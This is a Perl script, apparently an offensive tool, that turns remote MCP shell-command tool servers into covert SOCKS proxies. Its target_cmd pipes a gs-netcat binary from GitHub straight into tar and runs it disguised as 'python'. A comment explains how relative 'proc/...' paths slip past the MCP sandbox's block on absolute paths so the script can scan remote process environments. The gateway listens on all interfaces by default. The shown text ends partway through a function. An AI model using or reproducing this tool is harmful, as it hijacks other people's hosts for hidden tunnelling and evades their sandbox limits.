gsproxy/gsproxy.pl

#!/usr/bin/env perl
# GSproxy: standalone Perl gs-netcat SOCKS proxy setup center
#
# Reads a CSV config of  endpoint,secret,port[,label]  and, for every row:
#   1. brings up a remote SOCKS server through an MCP Tools_Shell_Command
#      call (mechanism from mcp_shell.sh) using the command shape from
#      proxy-up.sh (gs-netcat -lSD -s SECRET, daemonized on the remote);
#   2. starts a local gs-netcat SOCKS client (gs-netcat -D -p PORT -s SECRET);
#   3. monitors each local SOCKS proxy and logs every status change;
# then exposes a gateway SOCKS port that relays to the first alive proxy
#
# Hardening: single-instance flock, secret redaction in logs, 0600 files,
# gateway bind verification and supervision, verified --stop, optional
# SOCKS5 user/pass auth on the gateway, optional remote binary pinning.
#
# Core modules only, no deps
#
# Created by Luxferre in 2026, released into the public domain

use strict;
use warnings;
use Getopt::Long;
use IO::Socket::INET;
use IO::Select;
use POSIX qw(:sys_wait_h setsid strftime);
use HTTP::Tiny;
use JSON::PP;
use Time::HiRes qw(sleep);
use File::Spec;
use Errno qw(EINTR EAGAIN);
use File::Basename qw(dirname basename);
use Fcntl qw(:flock);
use IO::Handle;

umask 0077;

my $NL = chr(10);
my $SQ = chr(39);
my $BS = chr(92);

my $SCRIPT_DIR = dirname(File::Spec->rel2abs($0));

my %opt = (
  config        => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.csv'),
  log           => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.log'),
  pidfile       => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.pid'),
  state         => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.state'),
  gateway       => 1080,
  bind          => '0.0.0.0',
  interval      => 30,
  timeout       => 10,
  mcp_timeout   => 60,
  test_host     => 'www.google.com',
  test_port     => 443,
  workdir       => '.',
  gs_netcat     => 'gs-netcat',
  mcp_path      => '/gradio_api/mcp/',
  insecure      => 0,
  verbose       => 0,
  no_mcp        => 0,
  no_local      => 0,
  no_bringup    => 0,
  list          => 0,
  daemon        => 1,
  once          => 0,
  stop          => 0,
  status        => 0,
  selftest      => 0,
  help          => 0,
  gateway_auth  => undef,
  target_sha256 => undef,
);

my @secrets;
my $lock_fh;
my $gwpid;
my $last_gw_attempt = 0;
my ($gw_auth_user, $gw_auth_pass);

GetOptions(
  'config=s'        => \$opt{config},
  'log=s'           => \$opt{log},
  'pidfile=s'       => \$opt{pidfile},
  'state=s'         => \$opt{state},
  'gateway-port=i'  => \$opt{gateway},
  'bind=s'          => \$opt{bind},
  'interval=i'      => \$opt{interval},
  'timeout=i'       => \$opt{timeout},
  'mcp-timeout=i'   => \$opt{mcp_timeout},
  'test-host=s'     => \$opt{test_host},
  'test-port=i'     => \$opt{test_port},
  'workdir=s'       => \$opt{workdir},
  'gs-netcat=s'     => \$opt{gs_netcat},
  'mcp-path=s'     => \$opt{mcp_path},
  'insecure'        => \$opt{insecure},
  'verbose|v'       => \$opt{verbose},
  'no-mcp'          => \$opt{no_mcp},
  'no-local'        => \$opt{no_local},
  'no-bringup'      => \$opt{no_bringup},
  'list'            => \$opt{list},
  'daemon!'         => \$opt{daemon},
  'once'            => \$opt{once},
  'stop'            => \$opt{stop},
  'status'          => \$opt{status},
  'selftest'        => \$opt{selftest},
  'gateway-auth=s'  => \$opt{gateway_auth},
  'target-sha256=s' => \$opt{target_sha256},
  'help|h'          => \$opt{help},
) or usage(2);

usage(0) if $opt{help};
harden_file_perms();
selftest() if $opt{selftest};
if ($opt{stop})   { stop_daemon(); exit 0; }
if ($opt{status}) { exit(do_status()); }
if (defined $opt{target_sha256} && $opt{target_sha256} !~ /^[0-9a-fA-F]{64}$/) {
  die 'invalid --target-sha256: expected 64 hex characters' . $NL;
}

sub usage {
  my ($code) = @_;
  my $fh = $code ? *STDERR : *STDOUT;
  print {$fh} <<USAGE;
gsproxy.pl - Perl gs-netcat SOCKS proxy setup center

Usage: gsproxy.pl [options]

Options:
  --config FILE        CSV config: endpoint,secret,port[,label] (default ./gsproxy.csv)
  --gateway-port PORT  Gateway SOCKS port mapped to first alive SOCKS (default 1080)
  --bind ADDR          Address the gateway SOCKS listens on (default 0.0.0.0)
  --gateway-auth FILE  Require SOCKS5 user/pass auth on the gateway (FILE: user:pass)
  --interval SEC       Monitor interval seconds (default 30)
  --timeout SEC        Per-check timeout seconds (default 10)
  --mcp-timeout SEC    MCP Tools_Shell_Command timeout (default 60)
  --test-host HOST     Host probed through each SOCKS (default www.google.com)
  --test-port PORT     Port probed through each SOCKS (default 443)
  --workdir DIR        Remote workdir for the MCP call (default .)
  --mcp-path PATH      MCP path appended to base endpoint (default /gradio_api/mcp/)
  --gs-netcat PATH     gs-netcat binary (default: from PATH)
  --target-sha256 HASH Verify remote gs-netcat SHA-256 before running (64 hex)
  --log FILE           Log file (default ./gsproxy.log)
  --pidfile FILE       Pidfile (default ./gsproxy.pid)
  --state FILE         Runtime state file (default ./gsproxy.state)
  --insecure           Do not verify TLS certificates for the MCP endpoint
  --no-mcp             Skip the remote MCP bring-up call
  --no-local           Skip the local gs-netcat client start
  --no-bringup         Monitor only; never (re)start proxies
  --no-daemon          Run in the foreground
  --once               Single monitor pass then exit
  --list               Parse the config and print rows, then exit
  --status             Report whether the daemon is running
  --stop               Stop a running daemon
  --selftest           Run offline self-tests
  -h, --help           Show this help
USAGE
  exit $code;
}

sub strip_eol {
  my ($s) = @_;
  chomp $s;
  chop $s if length($s) && ord(substr($s, -1)) == 13;
  return $s;
}

sub now_utc { return strftime('%Y-%m-%dT%H:%M:%SZ', gmtime(time())); }

sub mask {
  my ($s) = @_;
  $s = '' unless defined $s;
  return '***' if length($s) <= 2;
  return substr($s, 0, 2) . '***';
}

sub register_secrets {
  push @secrets, @_;
}

sub redact {
  my ($s) = @_;
  $s = '' unless defined $s;
  for my $sec (@secrets) {
    next unless defined $sec && length($sec) >= 3;
    my $m = mask($sec);
    $s =~ s/\Q$sec\E/$m/g;
  }
  return $s;
}

sub logmsg {
  my ($msg) = @_;
  my $line = '[' . now_utc() . '] ' . redact($msg) . $NL;
  if (open my $fh, '>>', $opt{log}) {
    chmod 0600, $opt{log};
    print $fh $line;
    close $fh;
  }
  print STDERR $line if $opt{verbose};
}

sub shq {
  my ($s) = @_;
  $s = '' unless defined $s;
  my $out = $SQ;
  for my $ch (split //, $s) {
    if ($ch eq $SQ) { $out .= $SQ . $BS . $SQ . $SQ; }
    else { $out .= $ch; }
  }
  return $out . $SQ;
}

sub which {
  my ($name) = @_;
  return $name if index($name, '/') >= 0 && -x $name;
  for my $d (split /:/, ($ENV{PATH} || '')) {
    next unless length $d;
    my $p = $d . '/' . $name;
    return $p if -x $p;
  }
  return undef;
}

sub one_line {
  my ($s) = @_;
  $s = redact($s);
  $s =~ s/[[:space:]]+/ /g;
  return substr($s, 0, 300);
}

sub read_exact {
  my ($fh, $n, $to) = @_;
  $to = 5 unless defined $to && $to > 0;
  my $sel = IO::Select->new($fh);
  my $buf = '';
  while (length($buf) < $n) {
    return undef unless $sel->can_read($to);
    my $r = sysread($fh, my $chunk, $n - length($buf));
    return undef unless defined $r && $r > 0;
    $buf .= $chunk;
  }
  return $buf;
}

sub read_config {
  my ($file) = @_;
  open my $fh, '<', $file or die 'cannot open config ' . $file . ': ' . $! . $NL;
  my @rows;
  my $lineno = 0;
  while (my $line = <$fh>) {
    $lineno++;
    $line = strip_eol($line);
    next if $line =~ /^[[:space:]]*$/;
    next if $line =~ /^[[:space:]]*[#]/;
    my @f = split /,/, $line, -1;
    for (@f) { s/^[[:space:]]+//; s/[[:space:]]+$//; }
    if ($f[0] =~ /^(endpoint|base|base_url|mcp|base_mcp_endpoint)$/i
        && (defined $f[2] ? $f[2] : '') !~ /^[0-9]+$/) {
      next;
    }
    my ($endpoint, $secret, $port, $label) = @f;
    if (!defined $endpoint || !length $endpoint || !defined $secret || !defined $port) {
      warn 'config line ' . $lineno . ': need endpoint,secret,port' . $NL;
      next;
    }
    if ($port !~ /^[0-9]+$/ || $port < 1 || $port > 65535) {
      warn 'config line ' . $lineno . ': invalid port ' . $port . $NL;
      next;
    }
    $label = 'row' . $lineno unless defined $label && length $label;
    push @rows, {
      endpoint => $endpoint,
      secret   => $secret,
      port     => $port + 0,
      label    => $label,
      state    => undef,
    };
  }
  close $fh;
  return \@rows;
}

sub parse_sse {
  my ($body) = @_;
  my @d = ($body =~ /^data:[[:space:]]*(.*)$/mg);
  return @d ? $d[-1] : $body;
}

sub mcp_take_session {
  my ($hdr, $res) = @_;
  return unless ref $res eq 'HASH' && ref $res->{headers} eq 'HASH';
  for my $k (keys %{ $res->{headers} }) {
    if (lc $k eq 'mcp-session-id') { $hdr->{'Mcp-Session-Id'} = $res->{headers}{$k}; last; }
  }
}

sub mcp_post {
  my ($http, $url, $hdr, $body) = @_;
  my $tries = 3;
  my $r;
  for my $i (1 .. $tries) {
    $r = $http->post($url, { headers => $hdr, content => $body });
    return $r if $r->{success};
    my $st = defined $r->{status} ? $r->{status} : 0;
    last if $st >= 400 && $st < 500 && $st != 408 && $st != 429;
    sleep($i) if $i < $tries;
  }
  return $r;
}

sub mcp_call {
  my ($endpoint, $cmd) = @_;
  my $url = $endpoint;
  $url =~ s{/+$}{};
  if ($url !~ m{/gradio_api/mcp/?$} && $url !~ m{/mcp/?$}) {
    $url .= $opt{mcp_path};
  }
  my $http = HTTP::Tiny->new(
    timeout    => $opt{mcp_timeout} + 30,
    verify_SSL => $opt{insecure} ? 0 : 1,
  );
  my $hdr = {
    'Content-Type' => 'application/json',
    'Accept'       => 'application/json, text/event-stream',
  };
  my $json = JSON::PP->new->utf8->allow_nonref;
  my $init = $json->encode({
    jsonrpc => '2.0', id => 1, method => 'initialize',
    params  => {
      protocolVersion => '2024-11-05',
      capabilities    => {},
      clientInfo      => { name => 'gsproxy', version => '1.0' },
    },
  });
  my $ir = mcp_post($http, $url, $hdr, $init);
  return (0, 'MCP initialize HTTP ' . $ir->{status} . ' ' . $ir->{reason}) unless $ir->{success};
  mcp_take_session($hdr, $ir);
  my $ij = eval { $json->decode(parse_sse($ir->{content})) };
  if ($ij && ref $ij eq 'HASH' && $ij->{error}) {
    return (0, 'MCP initialize error: ' . (defined $ij->{error}{message} ? $ij->{error}{message} : 'unknown'));
  }
  my $note = $json->encode({ jsonrpc => '2.0', method => 'notifications/initialized' });
  my $nr = mcp_post($http, $url, $hdr, $note);
  mcp_take_session($hdr, $nr);
  my $call = $json->encode({
    jsonrpc => '2.0', id => 2, method => 'tools/call',
    params  => {
      name      => 'Tools_Shell_Command',
      arguments => {
        command => $cmd,
        workdir => $opt{workdir},
        timeout => $opt{mcp_timeout} + 0,
      },
    },
  });
  my $r = mcp_post($http, $url, $hdr, $call);
  if (!$r->{success}) {
    return (0, 'HTTP ' . $r->{status} . ' ' . $r->{reason});
  }
  my $data = parse_sse($r->{content});
  my $j = eval { $json->decode($data) };
  return (0, 'invalid JSON: ' . substr(defined $data ? $data : '', 0, 200)) unless $j;
  return (0, 'ERROR: ' . (defined $j->{error}{message} ? $j->{error}{message} : 'unknown'))
    if $j->{error};
  my $content = (ref $j->{result} eq 'HASH' && ref $j->{result}{content} eq 'ARRAY')
    ? $j->{result}{content} : [];
  my @text;
  for my $item (@$content) {
    next unless (defined $item->{type} ? $item->{type} : '') eq 'text';
    push @text, $item->{text};
  }
  return (1, join($NL, @text));
}

sub _socks_handshake {
  my ($s) = @_;
  $s->autoflush(1);
  my $greet = pack('C*', 5, 1, 0);
  return 0 unless syswrite($s, $greet) == length($greet);
  my $g = read_exact($s, 2, $opt{timeout});
  return 0 unless defined $g && $g eq pack('C*', 5, 0);
  my $host = $opt{test_host};
  my $req = pack('C*', 5, 1, 0, 3) . pack('C', length($host)) . $host . pack('n', $opt{test_port});
  return 0 unless syswrite($s, $req) == length($req);
  my $rep = read_exact($s, 4, $opt{timeout});
  return 0 unless defined $rep;
  return (ord(substr($rep, 0, 1)) == 5 && ord(substr($rep, 1, 1)) == 0) ? 1 : 0;
}

sub socks_alive {
  my ($port) = @_;
  my $s = IO::Socket::INET->new(
    PeerAddr => '127.0.0.1',
    PeerPort => $port,
    Proto    => 'tcp',
    Timeout  => $opt{timeout},
  ) or return 0;
  my $ok = _socks_handshake($s);
  close $s;
  return $ok;
}

sub target_cmd {
  my ($secret) = @_;
  my $url = 'https://github.com/hackerschoice/binary/raw/refs/heads/main/gsocket/bin/gs-netcat_$(uname -m)-alpine.tar.gz';
  my $args = shq('-lSD -s ' . $secret);
  my $cmd = qq{curl -fsSL $url | tar xz && };
  if ($opt{target_sha256}) {
    $cmd .= qq{echo '$opt{target_sha256}  gs-netcat' | sha256sum -c - && };
  }
  $cmd .= qq{GSOCKET_ARGS=$args bash -c 'exec -a python ./gs-netcat' && rm -f gs-netcat};
  return $cmd;
}

# Remote /proc access is expressed relative to the remote workdir because the
# MCP sandbox rejects absolute paths. With the default workdir the remote shell
# runs with cwd '/', so 'proc/...' resolves to /proc/... without a leading '/'.
sub remote_scan_cmd {
  my ($secret, $action) = @_;
  my $pat = shq('GSOCKET_ARGS=-lSD -s ' . $secret);
  return 'for p in proc/[0-9]*; do '
    . 'grep -Fq -a -- ' . $pat . ' "$p/environ" 2>/dev/null && { '
    . $action
    . '; }; done; true';
}

sub teardown_cmd {
  my ($secret) = @_;
  return remote_scan_cmd($secret, 'kill "${p##*/}" 2>/dev/null');
}

sub reuse_check_cmd {
  my ($secret) = @_;
  return remote_scan_cmd($secret, 'echo GS_REUSED');
}

# Returns true when the endpoint already runs a listener for this secret, so the
# caller can reuse it instead of spawning a duplicate remote gs-netcat.
sub remote_listener_alive {
  my ($e) = @_;
  my ($ok, $out) = mcp_call($e->{endpoint}, reuse_check_cmd($e->{secret}));
  return 0 unless $ok;
  return index($out, 'GS_REUSED') >= 0 ? 1 : 0;
}

sub read_proc_file {
  my ($path) = @_;
  open my $fh, '<', $path or return undef;
  local $/;
  my $c = <$fh>;
  close $fh;
  return $c;
}

sub proc_state {
  my ($pid) = @_;
  my $raw = read_proc_file('/proc/' . $pid . '/stat');
  return undef unless defined $raw;
  my $i = rindex($raw, ')');
  return undef if $i < 0;
  my @f = split ' ', substr($raw, $i + 1);
  return $f[0];
}

sub proc_is_gsproxy {
  my ($pid) = @_;
  my $raw = read_proc_file('/proc/' . $pid . '/cmdline');
  return 0 unless defined $raw && length $raw;
  my $flat = join(' ', split /[[:cntrl:]]/, $raw);
  my $base = basename($0);
  return $flat =~ /\Q$base\E/ ? 1 : 0;
}

sub find_other_daemons {
  my @out;
  opendir my $dh, '/proc' or return @out;
  for my $d (readdir $dh) {
    next unless $d =~ /^[0-9]+$/;
    next if $d == $$;
    next unless proc_is_gsproxy($d);
    my $raw = read_proc_file('/proc/' . $d . '/stat');
    next unless defined $raw;
    my $i = rindex($raw, ')');
    next if $i < 0;
    my @f = split ' ', substr($raw, $i + 1);
    next if (defined $f[0] ? $f[0] : '') eq 'Z';
    next unless defined $f[1] && $f[1] == 1;
    push @out, $d;
  }
  closedir $dh;
  return @out;
}

sub find_local_pids {
  my %ports = map { $_ => 1 } @_;
  my @pids;
  return @pids unless %ports;
  opendir my $dh, '/proc' or return @pids;
  for my $d (readdir $dh) {
    next unless $d =~ /^[0-9]+$/;
    my $raw = read_proc_file('/proc/' . $d . '/cmdline');
    next unless defined $raw && length $raw;
    my $flat = join(' ', split /[[:cntrl:]]/, $raw);
    next unless $flat =~ /gs-netcat/;
    next unless $flat =~ /(?:^|[[:space:]])-D(?:[[:space:]]|$)/;
    next unless $flat =~ /(?:^|[[:space:]])-p[[:space:]]+([0-9]+)/;
    push @pids, $d if $ports{$1};
  }
  closedir $dh;
  return @pids;
}

sub teardown_local {
  my ($rows) = @_;
  my @pids = find_local_pids(map { $_->{port} } @$rows);
  for my $pid (@pids) { kill('TERM', $pid); logmsg('teardown: TERM local gs-netcat pid ' . $pid); }
  return scalar @pids;
}

sub teardown_remote {
  my ($rows) = @_;
  return 0 if $opt{no_mcp};
  my $n = 0;
  for my $e (@$rows) {
    my ($ok, $out) = mcp_call($e->{endpoint}, teardown_cmd($e->{secret}));
    logmsg('MCP teardown ' . $e->{endpoint} . ': ' . ($ok ? 'ok' : 'failed') . ' ' . one_line($out));
    $n++ if $ok;
  }
  return $n;
}

sub read_rows_or_empty {
  my $r = eval { read_config($opt{config}) };
  return () unless $r && ref $r eq 'ARRAY';
  return @$r;
}

sub start_local {
  my ($e) = @_;
  my $gn = which($opt{gs_netcat});
  return (0, 'gs-netcat not found: ' . $opt{gs_netcat}) unless defined $gn;
  my $port = $e->{port};
  my $cmd = shq($gn) . ' -D -p ' . $port . ' -s ' . shq($e->{secret});
  system($cmd . q{ >/dev/null 2>&1 &});
  return (1, 'started local gs-netcat on 127.0.0.1:' . $port);
}

sub bring_up {
  my ($e) = @_;
  my $label = $e->{label};
  my $port = $e->{port};
  logmsg(qq{bring-up $label: secret } . mask($e->{secret}) . qq{ port $port});
  if (!$opt{no_mcp}) {
    if (remote_listener_alive($e)) {
      logmsg('MCP ' . $e->{endpoint} . ': reusing existing remote gs-netcat listener');
    } else {
      my ($ok, $out) = mcp_call($e->{endpoint}, target_cmd($e->{secret}));
      logmsg('MCP ' . $e->{endpoint} . ': ' . ($ok ? 'ok' : 'failed') . ' ' . one_line($out));
    }
  }
  if (!$opt{no_local}) {
    my ($ok, $msg) = start_local($e);
    logmsg('local: ' . $msg);
  }
  return 1;
}

sub write_state {
  my ($alive) = @_;
  open my $fh, '>', $opt{state} or return;
  chmod 0600, $opt{state};
  my $first = @$alive ? $alive->[0] : '';
  print $fh $first, $NL;
  print $fh join(' ', @$alive), $NL;
  close $fh;
}

sub read_state_port {
  open my $fh, '<', $opt{state} or return undef;
  my $line = <$fh>;
  close $fh;
  return undef unless defined $line;
  $line = strip_eol($line);
  $line =~ s/[[:space:]]+$//;
  return undef unless $line =~ /^[0-9]+$/;
  return $line + 0;
}

sub pump {
  my ($c, $u) = @_;
  $c->autoflush(1);
  $u->autoflush(1);
  $SIG{PIPE} = 'IGNORE';
  my $sel = IO::Select->new($c, $u);
  my %is_client = (fileno($c) => 1);
  while (1) {
    my @ready = $sel->can_read(300);
    return unless @ready;
    for my $fh (@ready) {
      my $n = sysread($fh, my $buf, 65536);
      if (!defined $n) {
        next if $! == EINTR || $! == EAGAIN;
        my $op = $is_client{fileno($fh)} ? $u : $c;
        eval { shutdown($op, 1) };
        $sel->remove($fh);
        next;
      }
      if ($n == 0) {
        my $op = $is_client{fileno($fh)} ? $u : $c;
        eval { shutdown($op, 1) };
        $sel->remove($fh);
        next;
      }
      my $dst = $is_client{fileno($fh)} ? $u : $c;
      my $off = 0;
      while ($off < length $buf) {
        my $w = syswrite($dst, $buf, length($buf) - $off, $off);
        unless (defined $w && $w > 0) {
          next if defined $w && $! == EINTR;
          eval { shutdown($dst, 1) };
          $sel->remove($dst) if $sel->exists($dst);
          last;
        }
        $off += $w;
      }
    }
    last unless $sel->count;
  }
}

sub socks_auth_client {
  my ($c) = @_;
  return 1 unless defined $gw_auth_user;
  my $g = read_exact($c, 2, 10);
  return 0 unless defined $g && ord(substr($g, 0, 1)) == 5;
  my $nm = ord(substr($g, 1, 1));
  return 0 if $nm == 0 || $nm > 255;
  my $methods = read_exact($c, $nm, 10);
  return 0 unless defined $methods && length($methods) == $nm;
  return 0 unless index($methods, chr(2)) >= 0;
  return 0 unless syswrite($c, pack('C*', 5, 2)) == 2;
  my $h = read_exact($c, 2, 10);
  return 0 unless defined $h;
  return 0 unless ord(substr($h, 0, 1)) == 1;
  my $ulen = ord(substr($h, 1, 1));
  return 0 if $ulen == 0 || $ulen > 255;
  my $u = read_exact($c, $ulen, 10);
  return 0 unless defined $u;
  my $pb = read_exact($c, 1, 10);
  return 0 unless defined $pb;
  my $plen = ord($pb);
  return 0 if $plen == 0 || $plen > 255;
  my $p = read_exact($c, $plen, 10);
  return 0 unless defined $p;
  if ($u eq $gw_auth_user && $p eq $gw_auth_pass) {
    return 0 unless syswrite($c, pack('C*', 1, 0)) == 2;
    return 1;
  }
  syswrite($c, pack('C*', 1, 1));
  return 0;
}

sub read_socks_request {
  my ($c) = @_;
  my $buf = read_exact($c, 4, 10);
  return undef unless defined $buf;
  my $atyp = ord(substr($buf, 3, 1));
  my $extra;
  if ($atyp == 1) {
    $extra = read_exact($c, 4, 10);
  } elsif ($atyp == 3) {
    my $l = read_exact($c, 1, 10);
    return undef unless defined $l;
    my $d = read_exact($c, ord($l), 10);
    return undef unless defined $d;
    $extra = $l . $d;
  } elsif ($atyp == 4) {
    $extra = read_exact($c, 16, 10);
  } else {
    return undef;
  }
  return undef unless defined $extra;
  my $port = read_exact($c, 2, 10);
  return undef unless defined $port;
  return $buf . $extra . $port;
}

sub handle_gateway_conn {
  my ($c) = @_;
  my $up = read_state_port();
  return unless defined $up;
  my $u = IO::Socket::INET->new(
    PeerAddr => '127.0.0.1',
    PeerPort => $up,
    Proto    => 'tcp',
    Timeout  => 10,
  ) or return;
  if (defined $gw_auth_user) {
    return unless socks_auth_client($c);
    my $req = read_socks_request($c);
    return unless defined $req;
    my $greet = pack('C*', 5, 1, 0);
    return unless syswrite($u, $greet) == length($greet);
    my $g = read_exact($u, 2, 10);
    return unless defined $g && $g eq pack('C*', 5, 0);
    return unless syswrite($u, $req) == length($req);
    eval { pump($c, $u) };
  } else {
    eval { pump($c, $u) };
  }
  close $u;
  close $c;
}

sub start_gateway {
  my $gw = $opt{gateway};
  my $bind = $opt{bind};
  my ($r, $w);
  pipe($r, $w) or return undef;
  my $pid = fork();
  return undef unless defined $pid;
  if ($pid == 0) {
    close $r;
    $SIG{TERM} = sub { exit 0 };
    $SIG{INT}  = sub { exit 0 };
    $SIG{CHLD} = sub { 1 while waitpid(-1, WNOHANG) > 0 };
    my $lsn = IO::Socket::INET->new(
      LocalAddr => $bind,
      LocalPort => $gw,
      Proto     => 'tcp',
      Listen    => 128,
      ReuseAddr => 1,
    );
    if (!$lsn) {
      logmsg('gateway: cannot listen on ' . $bind . ':' . $gw . ': ' . $!);
      print {$w} 'ERR' . $NL;
      close $w;
      exit 1;
    }
    print {$w} 'OK' . $NL;
    close $w;
    logmsg('gateway listening on ' . $bind . ':' . $gw . ' -> first alive SOCKS');
    while (1) {
      my $c = $lsn->accept;
      if (!defined $c) {
        next if $! == EINTR;
        logmsg('gateway: accept failed: ' . $!);
        exit 1;
      }
      my $p = fork();
      if (defined $p && $p == 0) {
        close $lsn;
        handle_gateway_conn($c);
        exit 0;
      }
      close $c;
    }
    exit 0;
  }
  close $w;
  my $sel = IO::Select->new($r);
  my $ok = 0;
  if ($sel->can_read(5)) {
    my $line = <$r>;
    $ok = 1 if defined $line && $line =~ /^OK/;
  }
  close $r;
  unless ($ok) {
    kill('TERM', $pid);
    waitpid($pid, 0);
    return undef;
  }
  return $pid;
}

my %async_jobs;

sub spawn_bringup {
  my ($e) = @_;
  return 0 if $e->{bringing_up};
  my $pid = fork();
  return 0 unless defined $pid;
  if ($pid == 0) {
    $SIG{TERM} = 'DEFAULT';
    $SIG{INT}  = 'DEFAULT';
    eval { bring_up($e) };
    exit 0;
  }
  $async_jobs{$pid} = $e;
  $e->{bringing_up} = 1;
  return $pid;
}

sub reap_children {
  my $reaped = 0;
  while (1) {
    my $r = waitpid(-1, WNOHANG);
    last if $r <= 0;
    $reaped++;
    if (exists $async_jobs{$r}) {
      my $e = delete $async_jobs{$r};
      $e->{bringing_up} = 0 if $e;
    }
    if (defined $gwpid && $r == $gwpid) {
      logmsg('gateway process ' . $r . ' exited');
      $gwpid = undef;
    }
  }
  return $reaped;
}

sub monitor_once {
  my ($rows) = @_;
  reap_children() unless $opt{once};
  if (!$opt{once} && !defined $gwpid && time() - $last_gw_attempt >= 30) {
    $last_gw_attempt = time();
    logmsg('gateway not running; restarting');
    $gwpid = start_gateway();
    write_pidfile($$, $gwpid) if defined $gwpid;
  }
  my @alive;
  for my $e (@$rows) {
    my $label = $e->{label};
    my $port = $e->{port};
    my $now = socks_alive($port) ? 'alive' : 'dead';
    my $prev = $e->{state};
    if (!defined $prev || $prev ne $now) {
      logmsg(qq{SOCKS $label 127.0.0.1:$port is $now});
      if ($now eq 'dead') {
        if (!$opt{no_bringup}) {
          if ($opt{once}) { bring_up($e); }
          else { spawn_bringup($e); }
        }
      } elsif (defined $prev && $prev eq 'dead') {
        logmsg(qq{SOCKS $label 127.0.0.1:$port recovered});
      }
    }
    $e->{state} = $now;
    push @alive, $port if $now eq 'alive';
  }
  write_state(\@alive);
  return \@alive;
}

sub write_pidfile {
  my @pids = @_;
  if ($lock_fh) {
    seek($lock_fh, 0, 0);
    truncate($lock_fh, 0);
    print {$lock_fh} join($NL, @pids), $NL;
    return;
  }
  open my $fh, '>', $opt{pidfile} or return;
  chmod 0600, $opt{pidfile};
  print $fh join($NL, @pids), $NL;
  close $fh;
}

sub read_pidfile {
  open my $fh, '<', $opt{pidfile} or return ();
  my @out;
  for my $line (<$fh>) {
    $line = strip_eol($line);
    $line =~ s/[[:space:]]+$//;
    push @out, $line if $line =~ /^[0-9]+$/;
  }
  close $fh;
  return @out;
}

sub acquire_lock {
  return 1 if $lock_fh;
  open my $fh, '>>', $opt{pidfile} or return 0;
  unless (flock($fh, LOCK_EX | LOCK_NB)) {
    close $fh;
    return 0;
  }
  chmod 0600, $opt{pidfile};
  $fh->autoflush(1);
  $lock_fh = $fh;
  return 1;
}

sub release_lock {
  if ($lock_fh) {
    close $lock_fh;
    $lock_fh = undef;
  }
}

sub guard_start {
  my @others = find_other_daemons();
  if (@others) {
    print 'gsproxy daemon already running (pid ' . join(',', @others) . '). Use --stop first.' . $NL;
    exit 1;
  }
  unless (acquire_lock()) {
    print 'gsproxy already running (pidfile locked). Use --stop first.' . $NL;
    exit 1;
  }
}

sub stop_daemon {
  my %pids = map { $_ => 1 } read_pidfile();
  $pids{$_} = 1 for find_other_daemons();
  my @pids = sort { $a <=> $b } keys %pids;
  my $any = 0;
  my @victims;
  for my $p (@pids) {
    next unless proc_is_gsproxy($p);
    if (kill(0, $p)) {
      push @victims, $p;
      kill('TERM', $p);
      logmsg('stopped pid ' . $p);
      $any = 1;
    }
  }
  if (@victims) {
    my $deadline = time() + 5;
    for my $p (@victims) {
      while (time() < $deadline && kill(0, $p)) {
        last if (proc_state($p) // '') eq 'Z';
        sleep 0.2;
      }
      if (kill(0, $p) && (proc_state($p) // '') ne 'Z') {
        logmsg('pid ' . $p . ' did not exit; sending KILL');
        kill('KILL', $p);
      }
    }
  }
  if (@pids) {
    my @now = read_pidfile();
    my %handled = map { $_ => 1 } @pids;
    my $same = (@now == @pids) && !grep { !$handled{$_} } @now;
    unlink $opt{pidfile} if $same;
  }
  my @rows = read_rows_or_empty();
  my $nl = teardown_local([@rows]);
  my $nr = teardown_remote([@rows]);
  logmsg('teardown: local gs-netcat=' . $nl . ' remote gs-netcat=' . $nr);
  if ($any) { print 'stopped' . $NL; }
  elsif (@pids) { print 'no running daemon (stale pidfile)' . $NL; }
  else { print 'no pidfile' . $NL; }
}

sub do_status {
  my @pids = read_pidfile();
  my @live;
  for my $p (@pids) {
    next unless proc_is_gsproxy($p);
    next if (proc_state($p) // '') eq 'Z';
    push @live, $p if kill(0, $p);
  }
  if (@live) { print 'gsproxy running (pid ' . join(',', @live) . ')' . $NL; return 0; }
  print 'gsproxy not running' . $NL;
  return 1;
}

sub cleanup {
  my ($rows) = @_;
  kill('TERM', $gwpid) if $gwpid;
  unlink $opt{pidfile};
  release_lock();
  if ($rows) {
    my $nl = teardown_local($rows);
    logmsg('teardown: local gs-netcat stopped=' . $nl);
    my $nr = teardown_remote($rows);
    logmsg('teardown: remote gs-netcat stopped=' . $nr);
  }
}

sub run_foreground {
  my ($rows) = @_;
  if (!$opt{once}) {
    unless (is_loopback($opt{bind})) {
      logmsg('warning: gateway bound to ' . $opt{bind} . ':' . $opt{gateway}
        . ' is exposed to the network; restrict with --bind or --gateway-auth');
    }
    $gwpid = start_gateway();
    if (!defined $gwpid) {
      logmsg('gateway failed to start; aborting');
      release_lock();
      exit 1;
    }
    $last_gw_attempt = time();
    write_pidfile($$, $gwpid);
    $SIG{TERM} = sub { cleanup($rows); exit 0 };
    $SIG{INT}  = sub { cleanup($rows); exit 0 };
    logmsg('gsproxy started: gateway ' . $opt{bind} . ':' . $opt{gateway}
      . ', ' . scalar(@$rows) . ' proxies, interval ' . $opt{interval} . 's');
  }
  while (1) {
    monitor_once($rows);
    last if $opt{once};
    sleep $opt{interval};
  }
  cleanup($rows) if $gwpid;
  release_lock();
}

sub harden_file_perms {
  for my $f ($opt{log}, $opt{pidfile}, $opt{state}) {
    next unless -e $f;
    chmod 0600, $f;
  }
}

sub check_config_perms {
  my ($file) = @_;
  return unless -e $file;
  my @st = stat($file);
  return unless @st;
  if ($st[2] & 0077) {
    logmsg('warning: config ' . $file . ' is group/world readable; chmod 600 to protect secrets');
  }
}

sub is_loopback {
  my ($a) = @_;
  return 1 if lc($a) eq 'localhost' || $a eq '::1' || $a eq '127.0.0.1';
  return 1 if $a =~ /^127\./;
  return 0;
}

sub load_gateway_auth {
  return (undef, undef) unless defined $opt{gateway_auth};
  open my $fh, '<', $opt{gateway_auth} or do {
    logmsg('gateway auth: cannot open ' . $opt{gateway_auth} . ': ' . $!);
    return (undef, undef);
  };
  my ($u, $p);
  while (my $line = <$fh>) {
    $line = strip_eol($line);
    next if $line =~ /^[[:space:]]*$/ || $line =~ /^[[:space:]]*#/;
    my ($a, $b) = split /:/, $line, 2;
    if (defined $a && defined $b && length $a && length $b) {
      $u = $a;
      $p = $b;
      last;
    }
  }
  close $fh;
  return ($u, $p);
}

sub fake_socks_server {
  my ($lsn) = @_;
  while (my $c = $lsn->accept) {
    my $p = fork();
